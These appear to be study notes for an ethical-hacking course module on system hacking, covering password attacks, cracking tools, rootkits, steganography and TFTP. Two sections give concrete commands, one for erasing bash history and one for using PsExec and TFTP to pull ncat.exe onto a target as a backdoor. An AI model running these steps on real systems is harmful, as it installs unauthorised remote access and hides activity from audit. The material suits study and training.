**Module 4 System Hacking**

**4.0 System Hacking**

**SAM File (Security Accounts Manager)**

1. Stores password hashes on win systems
2. SYSKEY – partially encrypt hash

**Types of Password Attacks**

1. Dictionary
2. Brute-force
3. Rule-based
4. Rainbow tables

**Dictionary**

1. Series of password phrases/common words to try to guess password

**Brute-Force**

1. Attacker tries all possible combinations

**Rule-Based**

1. “7 chars long & must contain 1 number”
2. Use software to incorporate the rules in the password

**Rainbow Tables**

1. Precomputed table of hashed passwords

**Salting Passwords**

1. Random data input into the hash
2. Randomly generated for ea password

**Password Crack Softwares**

1. Aircrack
   1. More for wireless passwords
2. Cain and Abel
   1. More for password recovery tool for windows but has more features to use for attacks
3. John the Ripper
4. Hydra
5. Hashcat

**Spectre & Meltdown**

1. Comp chips contain security flaws for the past 20 years
2. Protected memory being stored in CPU cache
   1. Protected memory could be accessed in attack

**Rootkits**

1. Provide continued access to comp
   1. Remote access
2. Often run stealthily
3. Types
   1. Horsepill
      1. Infects initial ramdisk in Linux so it controls early in boot process
      2. Infects during boot process
   2. Gray Fish
      1. Equation Group (NSA)
      2. Trojan.Win32.GrayFish.b

**Steganography Tools**

1. QuickStego – BMP, JPEG, GIF
2. OpenStego – BMP, PNG
3. MP3Stego – MP3
4. StegoShare – BMP, JPEG, PNG, GIF, TIFF

**Covering BASH Attacks**

1. Bourne Again Shell (BASH)
2. Disable history – export HISTSIZE=0
   1. HISTSIZE – determines how many commands stored
3. Clear history: history –c

**TFTP (Trivial File Transfer Protocol)**

1. Protocol for transferring files to/from remote host
2. Transfer requests initiated on port 69
3. Cannot do user authentication/list directories
4. Backdoor trojans allow attackers to
   1. Collect info
   2. Terminate tasks & processes
   3. Run tasks & processes
   4. Download additional files
   5. Upload files/content
   6. Open command-line shells
   7. Perform DOS against other comps from infected machine
   8. Change comp settings
   9. Restart/shutdown comp
5. RFC 1350 – defines TFTP protocol & how it works
6. Eg. of RAT Backdoors
   1. Gh0st - <https://www.rsa.com/content/dam/en/case-study/gh0st-rat.pdf>
   2. Mirai botnet - IoT

**Backdoor Hacking**

1. Set up TFTP server
   1. TFTP allows us to transfer files between pc without authentication
2. Use PsExec.exe to launch backdoor
   1. PsExec is a command line tool that allow remote execution of processes on other systems
   2. PsExec.exe [\\[TARGET](file:///\\[TARGET) NAME] cmd
3. Using PsExec, enable tftp client on target machine
   1. Type, dism /online /Enable-Feature /FeatureName:TFTP
4. Save backdoor into Windows/System32 on target
   1. Type, tftp 192.168.0.5 GET ncat.exe
5. With backdoor, can maintain access to our target machine